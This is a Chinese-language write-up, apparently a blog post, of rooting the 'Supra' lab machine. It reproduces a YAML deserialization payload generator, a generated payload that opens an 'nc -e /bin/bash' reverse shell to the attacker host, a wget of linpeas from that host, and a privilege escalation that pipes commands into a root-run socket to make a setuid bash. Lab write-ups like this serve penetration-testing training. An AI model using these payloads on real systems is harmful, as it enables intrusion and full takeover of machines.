没收获,先记下,查看其他信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(remote) www-data@Supra:/home/it404$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/su
/usr/bin/mount
(remote) www-data@Supra:/home/it404$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
(remote) www-data@Supra:/home/it404$ ss -tlunp
Netid              State               Recv-Q              Send-Q                           Local Address:Port                           Peer Address:Port              Process              
udp                UNCONN              0                   0                                      0.0.0.0:68                                  0.0.0.0:*                                      
tcp                LISTEN              0                   128                                  127.0.0.1:8081                                0.0.0.0:*                                      
tcp                LISTEN              0                   128                                    0.0.0.0:22                                  0.0.0.0:*                                      
tcp                LISTEN              0                   20                                   127.0.0.1:25                                  0.0.0.0:*                                      
tcp                LISTEN              0                   511                                          *:80                                        *:*                                      
tcp                LISTEN              0                   128                                       [::]:22                                     [::]:*                                      
tcp                LISTEN              0                   20                                       [::1]:25                                     [::]:*                                      
tcp                LISTEN              0                   511                                          *:4000                                      *:*                  users:(("node",pid=415,fd=18))

发现内部开放了一个25号端口以及8081端口,尝试看一下有啥消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
(remote) www-data@Supra:/home/it404$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:f5:94:be brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.103/24 brd 192.168.10.255 scope global dynamic enp0s3
       valid_lft 6066sec preferred_lft 6066sec
    inet6 fd00:4c10:d50a:f900:a00:27ff:fef5:94be/64 scope global dynamic mngtmpaddr 
       valid_lft 86257sec preferred_lft 14257sec
    inet6 fe80::a00:27ff:fef5:94be/64 scope link 
       valid_lft forever preferred_lft forever
(remote) www-data@Supra:/home/it404$ cd /
(remote) www-data@Supra:/$ ls -la
total 68
drwxr-xr-x  18 root root  4096 Oct  6  2021 .
drwxr-xr-x  18 root root  4096 Oct  6  2021 ..
lrwxrwxrwx   1 root root     7 Oct  6  2021 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Oct  6  2021 boot
drwxr-xr-x  17 root root  3140 Aug  9 02:07 dev
drwxr-xr-x  86 root root  4096 Aug  9 02:07 etc
drwxr-xr-x   3 root root  4096 Oct  6  2021 home
lrwxrwxrwx   1 root root    30 Oct  6  2021 initrd.img -> boot/initrd.img-5.10.0-8-amd64
lrwxrwxrwx   1 root root    30 Oct  6  2021 initrd.img.old -> boot/initrd.img-5.10.0-8-amd64
lrwxrwxrwx   1 root root     7 Oct  6  2021 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Oct  6  2021 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Oct  6  2021 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Oct  6  2021 libx32 -> usr/libx32
drwx------   2 root root 16384 Oct  6  2021 lost+found
drwxr-xr-x   3 root root  4096 Oct  6  2021 media
drwxr-xr-x   2 root root  4096 Oct  6  2021 mnt
drwxr-xr-x   3 root root  4096 Oct 11  2021 opt
dr-xr-xr-x 149 root root     0 Aug  9 01:38 proc
drwx------   6 root root  4096 Oct 12  2021 root
drwxr-xr-x  18 root root   520 Aug  9 02:07 run
lrwxrwxrwx   1 root root     8 Oct  6  2021 sbin -> usr/sbin
drwxr-xr-x   2 root root  4096 Oct  6  2021 srv
dr-xr-xr-x  13 root root     0 Aug  9 01:38 sys
drwxrwxrwt  10 root root  4096 Aug  9 02:14 tmp
drwxr-xr-x  14 root root  4096 Oct  6  2021 usr
drwxr-xr-x  12 root root  4096 Oct  6  2021 var
lrwxrwxrwx   1 root root    27 Oct  6  2021 vmlinuz -> boot/vmlinuz-5.10.0-8-amd64
lrwxrwxrwx   1 root root    27 Oct  6  2021 vmlinuz.old -> boot/vmlinuz-5.10.0-8-amd64
(remote) www-data@Supra:/$ cd opt
(remote) www-data@Supra:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Oct 11  2021 .
drwxr-xr-x 18 root root 4096 Oct  6  2021 ..
drwxr-xr-x  2 root root 4096 Oct 12  2021 api
(remote) www-data@Supra:/opt$ cd api/
(remote) www-data@Supra:/opt/api$ ls -la
total 20
drwxr-xr-x 2 root     root     4096 Oct 12  2021 .
drwxr-xr-x 3 root     root     4096 Oct 11  2021 ..
-rwxrwxrwx 1 www-data www-data  445 Oct 11  2021 accounts.yaml
-rw-r--r-- 1 root     root      609 Oct 12  2021 internal-api.py
-rwxr-xr-x 1 root     root       36 Oct 11  2021 start-internal.sh
(remote) www-data@Supra:/opt/api$ cat start-internal.sh 
#!/bin/bash
python3 internal-api.py
(remote) www-data@Supra:/opt/api$ cat accounts.yaml 
emails:

  - Gloriawrong@zonnetd.nl
  - cheerfulMark93@atbt.net
  - horribleMicheal30@aliceaedsl.fr
  - Tamaradull@aiam.com
  - Grantitchy@lieve.ca
  - easyAngelica60@heatnet.nl
  - Rebekaheasy@lieve.com
  - zealousKatelyn@ggmail.com
  - depressedBridget62@yahooi.com.ar
  - fierceBrooke@optoniline.net

passwords:

  - 6NpjqVCM
  - mzPdgc9V
  - fpRze8bn
  - x4Lm3W6M
  - tYUBN6Qx
  - 8zNBxXcd
  - X48UYKrw
  - xEfjB39C
  - Wk956r4a
  - UKQC5q2a(remote) www-data@Supra:/opt/api$ cat internal-api.py 
from flask import Flask, request
#import yaml
import ruamel.yaml
import warnings
from base64 import b64decode

warnings.simplefilter('ignore', ruamel.yaml.error.UnsafeLoaderWarning)

from yaml.loader import FullLoader
app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    return "Supra Internals"


@app.route("/read-leaked-accounts", methods=["GET"])
def read():
    with open(r'./accounts.yaml') as file:
        #accounts = yaml.load(file, Loader=FullLoader)
        accounts = ruamel.yaml.load(file)
    return accounts


if __name__ == '__main__':
    app.run("127.0.0.1", port=8081)

找到了代码,且accounts.yaml可写,尝试看一下有没有办法劫持配置文件搞点事情。

image-20240809143213416

https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization

尝试看一下是否可以搞事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

# python3 exp.py
# !!python/object/apply:subprocess.Popen
# - ls

# <Popen: returncode: None args: 'ls'>
# exp.py  exp.sh  result.txt
# exp.py  exp.sh  result.txt
# <Popen: returncode: None args: 'ls'>
# <Popen: returncode: None args: 'ls'>
# exp.py  exp.sh  result.txt

但是执行效果不好,可能使用错了,尝试一下别人写的脚本:https://github.com/j0lt-github/python-deserialization-attack-payload-generator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# Python Deserialization attack payload file generator for pickle ,pyYAML, ruamel.yaml and jsonpickle module by j0lt
# Requirements : Python 3.x , modules jsonpickle, pyyaml
# Version : 2.3
# Usage : python peas.py

import pickle
from base64 import b64encode, b64decode
import jsonpickle
import yaml
import subprocess
from copy import deepcopy


class Gen(object):
    def __init__(self, payload):
        self.payload = payload

    def __reduce__(self):
        return subprocess.Popen, (self.payload,)


class Payload(object):

    def __init__(self, c, location, base, os):
        self.location = location
        self.base = base
        self.os = os
        self.prefix = '' if self.os == 'linux' else "cmd.exe /c "
        self.cmd = self.prefix+c
        self.payload = b''
        self.quotes = True if "\'" in self.cmd or "\"" in self.cmd else False

    def pick(self):
        self.payload = pickle.dumps(Gen(tuple(self.case().split(" "))))
        self.payload = self.verifyencoding()
        self.savingfile("_pick")

    def ya(self):
        if self.quotes:
            self.payload = b64decode("ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4KLSAhIXB5dGhvbi90dXBsZQogIC0g"
                                     "cHl0aG9uCiAgLSAtYwogIC0gIl9faW1wb3J0X18oJ29zJykuc3lzdGVtKHN0cihfX2ltcG9ydF9fKCdiY"
                                     "XNlNjQnKS5iNjRkZWNvZGUoJw==") + b64encode(bytes(self.cmd, 'utf-8')) + \
                           b64decode("JykuZGVjb2RlKCkpKSI=")
        else:
            self.payload = bytes(yaml.dump(Gen(tuple(self.cmd.split(" ")))), 'utf-8')
        self.payload = self.verifyencoding()
        self.savingfile("_yaml")

    def js(self):
        self.payload = bytes(jsonpickle.encode(Gen(tuple(self.case().split(" ")))),
                             'utf-8')
        self.payload = self.verifyencoding()
        self.savingfile("_jspick")

    def __add__(self, other):
        return self + other

    def verifyencoding(self):
        return b64encode(self.payload) if self.base else self.payload

    def savingfile(self, suffix):
        open(self.location.__add__(suffix), "wb").write(self.payload)

    def chr_encode(self, data):
        d = '+'.join(['chr('+str(ord(ii))+')' for ii in data])
        return d

    def case(self):
        cmd = deepcopy(self.cmd)
        if self.quotes:
            cmd = self.prefix+"python -c exec({})".format(self.chr_encode("__import__('os').system"
                                                                               "(__import__('base64').b64decode({})"
                                                                              ".decode('utf-8'))".
                                                                               format(b64encode(bytes(self.cmd, 'utf-8')
                                                                                                ))))
        return cmd 

    
if __name__ == "__main__":
    cmd = input("Enter RCE command :")
    o = 'linux' if input("Enter operating system of target [linux/windows] . Default is linux :").lower() != "windows" \
        else 'windows'
    b = True if input("Want to base64 encode payload ? [N/y] :").lower() == "y" else False
    p = Payload(cmd, input("Enter File location and name to save :"), b, o)
    funtiondict = {"pickle": p.pick, "pyyaml": p.ya, "ruamel.yaml": p.ya, "jsonpickle": p.js}
    while 1:
        module = input("Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :").lower()
        if module in funtiondict.keys():
            funtiondict[module]()
            break
        elif module == "all":
            for i in funtiondict.keys():
                funtiondict[i]()
            break
        else:
            print("Wrong Input ")
            continue
    print("Done Saving file !!!!")

先安装一下配置的库:

1
2
3
# requirements.txt
jsonpickle==1.2
PyYAML==5.1.2

然后生成载荷;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali💀kali)-[~/temp/Supra]
└─$ python3 peas.py                   
Enter RCE command :nc -e /bin/bash 192.168.10.104 2345
Enter operating system of target [linux/windows] . Default is linux :
Want to base64 encode payload ? [N/y] :N
Enter File location and name to save :./badcode
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :ruamel.yaml
Done Saving file !!!!

┌──(kali💀kali)-[~/temp/Supra]
└─$ ls -la
total 604
drwxr-xr-x   2 kali kali   4096 Aug  9 02:53 .
drwxr-xr-x 121 kali kali   4096 Aug  9 01:06 ..
-rw-r--r--   1 kali kali    114 Aug  9 02:53 badcode_yaml
-rw-r--r--   1 kali kali    457 Aug  9 02:43 exp.py
-rwxr-xr-x   1 kali kali    396 Aug  9 01:12 exp.sh
-rwxr-xr-x   1 kali kali   3806 Aug  9 02:50 peas.py
-rw-r--r--   1 kali kali 593134 Aug  9 01:22 result.txt

┌──(kali💀kali)-[~/temp/Supra]
└─$ cat badcode_yaml                  
!!python/object/apply:subprocess.Popen
- !!python/tuple
  - nc
  - -e
  - /bin/bash
  - 192.168.10.104
  - '2345'

先进行端口转发,使外边可以访问:

1
2
(remote) www-data@Supra:/opt/api$ socat TCP-LISTEN:8082,fork TCP:127.0.0.1:8081 &
[1] 1157

然后尝试导入进行访问:

1
2
3
# http://192.168.10.103:8082/read-leaked-accounts
Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

image-20240809150620845

socket.s提权root

尝试上传linpeas.sh进行探测:

1
2
3
(remote) it404@Supra:/tmp$ wget http://192.168.10.104:8888/linpeas.sh
(remote) it404@Supra:/tmp$ chmod +x linpeas.sh
(remote) it404@Supra:/tmp$ ./linpeas.sh

发现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root shadow 38K Jul  9  2021 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root mail 23K Feb  4  2021 /usr/bin/dotlockfile
-rwxr-sr-x 1 root crontab 43K Feb 22  2021 /usr/bin/crontab
-rwxr-sr-x 1 root tty 35K Jul 28  2021 /usr/bin/wall
-rwxr-sr-x 1 root root 15K Nov 19  2020 /usr/bin/dotlock.mailutils
-rwxr-sr-x 1 root shadow 31K Feb  7  2020 /usr/bin/expiry
-rwxr-sr-x 1 root tty 23K Jul 28  2021 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root shadow 79K Feb  7  2020 /usr/bin/chage
-rwxr-sr-x 1 root ssh 347K Mar 13  2021 /usr/bin/ssh-agent

╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls
# file: /home//it404/local.txt
USER   root      rw-     
user   it404     r--     
GROUP  root      ---     
mask             r--     
other            ---     

# file: /usr/local/src/socket.s
USER   root      rwx     
user   it404     rwx     
GROUP  root      r-x     
mask             rwx     
other            r-x

发现存在socket的suid,尝试看一下是否可以进行提权:

image-20240809153515978

进行提权:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/socket-command-injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
(remote) it404@Supra:/tmp$ netstat -a -p --unix | grep socket
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active UNIX domain sockets (servers and established)
unix  2      [ ACC ]     STREAM     LISTENING     11938    -                    /usr/local/src/socket.s
unix  6      [ ]         DGRAM                    10633    -                    /run/systemd/journal/socket
unix  2      [ ACC ]     STREAM     LISTENING     11417    -                    /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     11668    -                    /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     11651    -                    /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     11652    -                    /run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     11653    -                    /run/dbus/system_bus_socket
(remote) it404@Supra:/tmp$ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/usr/local/src/socket.s
(remote) it404@Supra:/tmp$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1234376 Aug  4  2021 /bin/bash
(remote) it404@Supra:/tmp$ ls -la /tmp/bash
-rwsr-sr-x 1 root root 1234376 Aug  9 03:36 /tmp/bash
(remote) it404@Supra:/tmp$ /tmp/bash -p
(remote) root@Supra:/tmp# cd ~
(remote) root@Supra:/home/it404# cd /root
(remote) root@Supra:/root# ls -la
total 40
drwx------  6 root root 4096 Oct 12  2021 .
drwxr-xr-x 18 root root 4096 Oct  6  2021 ..
-rw-------  1 root root  475 Oct 12  2021 .bash_history
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Oct 11  2021 .cache
drwxr-xr-x  3 root root 4096 Oct 10  2021 .local
drwxr-xr-x  3 root root 4096 Oct  6  2021 .npm
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-------  1 root root   32 Oct 12  2021 proof.txt
drwxr-xr-x  2 root root 4096 Oct 12  2021 .s
(remote) root@Supra:/root# cd .s
(remote) root@Supra:/root/.s# ls -la
total 16
drwxr-xr-x 2 root root 4096 Oct 12  2021 .
drwx------ 6 root root 4096 Oct 12  2021 ..
-rw-r--r-- 1 root root  495 Oct 12  2021 socket-root.py
-rw-r--r-- 1 root root   35 Oct 12  2021 starts.sh
(remote) root@Supra:/root/.s# cat socket-root.py 
import socket
import os, os.path
import time
from collections import deque    

if os.path.exists("/usr/local/src/socket.s"):
  os.remove("/usr/local/src/socket.s")    

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/usr/local/src/socket.s")
os.system("setfacl -m u:it404:rwx /usr/local/src/socket.s")
while True:
  server.listen(1)
  conn, addr = server.accept()
  datagram = conn.recv(1024)
  if datagram:
    print(datagram)
    os.system(datagram)
    conn.close()
(remote) root@Supra:/root/.s# cat starts.sh 
#!/bin/bash
python3 socket-root.py

拿到root!

额外收获

探测facl文件的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

# file: /home/it404/local.txt
USER   root      rw-     
user   it404     r--     
GROUP  root      ---     
mask             r--     
other            ---     

# file: /usr/local/src/socket.s
USER   root      rwx     
user   it404     rwx     
GROUP  root      r-x     
mask             rwx     
other            r-x

参考

https://www.bilibili.com/video/BV18t421w72D/

https://al1enum.github.io/docs/Supra.pdf

本文由作者按照 CC BY 4.0 进行授权